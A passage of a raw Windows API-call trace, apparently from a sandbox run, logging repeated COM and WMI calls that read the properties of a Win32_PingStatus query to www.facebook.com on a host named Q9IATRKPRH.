WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687c8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0137.033] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687c8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0137.033] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687c8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0137.033] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0137.033] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0137.033] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687c8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0137.033] WbemStatusCodeText:IUnknown:Release (This=0x5c687c8) returned 0x2 [0137.033] WbemStatusCodeText:IUnknown:Release (This=0x5c687c8) returned 0x1 [0137.033] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0137.033] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0137.033] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687c8, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c687c8) returned 0x0 [0137.033] WbemStatusCodeText:IUnknown:AddRef (This=0x5c687c8) returned 0x3 [0137.033] WbemStatusCodeText:IUnknown:Release (This=0x5c687c8) returned 0x2 [0137.033] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c687c8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0137.033] SysStringByteLen (bstr="Not found ") returned 0x14 [0137.035] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0137.035] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0137.035] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.035] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0137.035] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0137.035] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.035] IWbemClassObject:GetNames (in: This=0x5c58ef0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0137.035] SafeArrayGetDim (psa=0x5c78e18) returned 0x1 [0137.035] SafeArrayGetDim (psa=0x5c78e18) returned 0x1 [0137.035] SafeArrayGetLBound (in: psa=0x5c78e18, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0137.035] SysStringByteLen (bstr="__GENUS") returned 0xe [0137.035] SysStringByteLen (bstr="__GENUS") returned 0xe [0137.035] SysStringByteLen (bstr="__CLASS") returned 0xe [0137.035] SysStringByteLen (bstr="__CLASS") returned 0xe [0137.035] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0137.035] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0137.036] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0137.036] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0137.036] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0137.036] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0137.036] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0137.036] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0137.036] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0137.036] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0137.036] SysStringByteLen (bstr="__SERVER") returned 0x10 [0137.036] SysStringByteLen (bstr="__SERVER") returned 0x10 [0137.036] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0137.036] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0137.036] SysStringByteLen (bstr="__PATH") returned 0xc [0137.036] SysStringByteLen (bstr="__PATH") returned 0xc [0137.036] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c658*=0, plFlavor=0x228c65c*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x228c658*=3, plFlavor=0x228c65c*=64) returned 0x0 [0137.036] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c68c*=0, plFlavor=0x228c690*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228c68c*=8, plFlavor=0x228c690*=64) returned 0x0 [0137.037] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.037] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.037] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c6e4*=0, plFlavor=0x228c6e8*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c6e4*=8, plFlavor=0x228c6e8*=64) returned 0x0 [0137.037] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c70c*=0, plFlavor=0x228c710*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228c70c*=8, plFlavor=0x228c710*=64) returned 0x0 [0137.037] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.037] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.037] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c764*=0, plFlavor=0x228c768*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x228c764*=8, plFlavor=0x228c768*=64) returned 0x0 [0137.037] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0137.037] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0137.037] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c944*=0, plFlavor=0x228c948*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x228c944*=3, plFlavor=0x228c948*=64) returned 0x0 [0137.038] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c978*=0, plFlavor=0x228c97c*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78cc8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c68688, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x228c978*=8200, plFlavor=0x228c97c*=64) returned 0x0 [0137.038] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c9ac*=0, plFlavor=0x228c9b0*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x228c9ac*=8, plFlavor=0x228c9b0*=64) returned 0x0 [0137.038] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0137.038] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0137.038] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c9f8*=0, plFlavor=0x228c9fc*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x228c9f8*=8, plFlavor=0x228c9fc*=64) returned 0x0 [0137.038] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0137.038] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0137.038] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228ca44*=0, plFlavor=0x228ca48*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x228ca44*=8, plFlavor=0x228ca48*=64) returned 0x0 [0137.038] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0137.038] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0137.038] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0137.038] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0137.039] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.039] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="WriteVerboseStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228cc80*=0, plFlavor=0x228cc84*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228cc80*=0, plFlavor=0x228cc84*=0) returned 0x80041002 [0137.039] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0137.040] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c68688) returned 0x0 [0137.040] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68688, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0137.040] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c68688, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c687e8) returned 0x0 [0137.041] WbemStatusCodeText:IUnknown:Release (This=0x5c68688) returned 0x0 [0137.041] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c687e8) returned 0x0 [0137.041] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687e8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0137.041] WbemStatusCodeText:IUnknown:AddRef (This=0x5c687e8) returned 0x3 [0137.041] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687e8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0137.041] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687e8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0137.041] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687e8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0137.041] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0137.041] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0137.041] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687e8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0137.041] WbemStatusCodeText:IUnknown:Release (This=0x5c687e8) returned 0x2 [0137.041] WbemStatusCodeText:IUnknown:Release (This=0x5c687e8) returned 0x1 [0137.041] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0137.041] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0137.041] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687e8, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c687e8) returned 0x0 [0137.041] WbemStatusCodeText:IUnknown:AddRef (This=0x5c687e8) returned 0x3 [0137.042] WbemStatusCodeText:IUnknown:Release (This=0x5c687e8) returned 0x2 [0137.042] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c687e8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0137.042] SysStringByteLen (bstr="Not found ") returned 0x14 [0137.043] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0137.043] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0137.043] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.043] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0137.043] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0137.043] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.043] IWbemClassObject:GetNames (in: This=0x5c58ef0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0137.043] SafeArrayGetDim (psa=0x5c78db8) returned 0x1 [0137.043] SafeArrayGetDim (psa=0x5c78db8) returned 0x1 [0137.043] SafeArrayGetLBound (in: psa=0x5c78db8, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0137.043] SysStringByteLen (bstr="__GENUS") returned 0xe [0137.043] SysStringByteLen (bstr="__GENUS") returned 0xe [0137.044] SysStringByteLen (bstr="__CLASS") returned 0xe [0137.044] SysStringByteLen (bstr="__CLASS") returned 0xe [0137.044] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0137.044] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0137.044] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0137.044] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0137.044] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0137.044] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0137.044] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0137.044] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0137.044] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0137.044] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0137.044] SysStringByteLen (bstr="__SERVER") returned 0x10 [0137.044] SysStringByteLen (bstr="__SERVER") returned 0x10 [0137.044] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0137.044] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0137.044] SysStringByteLen (bstr="__PATH") returned 0xc [0137.044] SysStringByteLen (bstr="__PATH") returned 0xc [0137.044] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228d060*=0, plFlavor=0x228d064*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x228d060*=3, plFlavor=0x228d064*=64) returned 0x0 [0137.045] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228d094*=0, plFlavor=0x228d098*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228d094*=8, plFlavor=0x228d098*=64) returned 0x0 [0137.045] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.045] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.045] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228d0ec*=0, plFlavor=0x228d0f0*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228d0ec*=8, plFlavor=0x228d0f0*=64) returned 0x0 [0137.045] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228d114*=0, plFlavor=0x228d118*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228d114*=8, plFlavor=0x228d118*=64) returned 0x0 [0137.045] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.045] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.045] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228d16c*=0, plFlavor=0x228d170*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x228d16c*=8, plFlavor=0x228d170*=64) returned 0x0 [0137.045] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0137.045] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0137.045] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228d34c*=0, plFlavor=0x228d350*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x228d34c*=3, plFlavor=0x228d350*=64) returned 0x0 [0137.046] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228d380*=0, plFlavor=0x228d384*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78de8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c68688, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x228d380*=8200, plFlavor=0x228d384*=64) returned 0x0 [0137.046] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228d3b4*=0, plFlavor=0x228d3b8*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x228d3b4*=8, plFlavor=0x228d3b8*=64) returned 0x0 [0137.046] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0137.046] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0137.046] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228d400*=0, plFlavor=0x228d404*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x228d400*=8, plFlavor=0x228d404*=64) returned 0x0 [0137.046] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0137.046] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0137.046] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PATH", 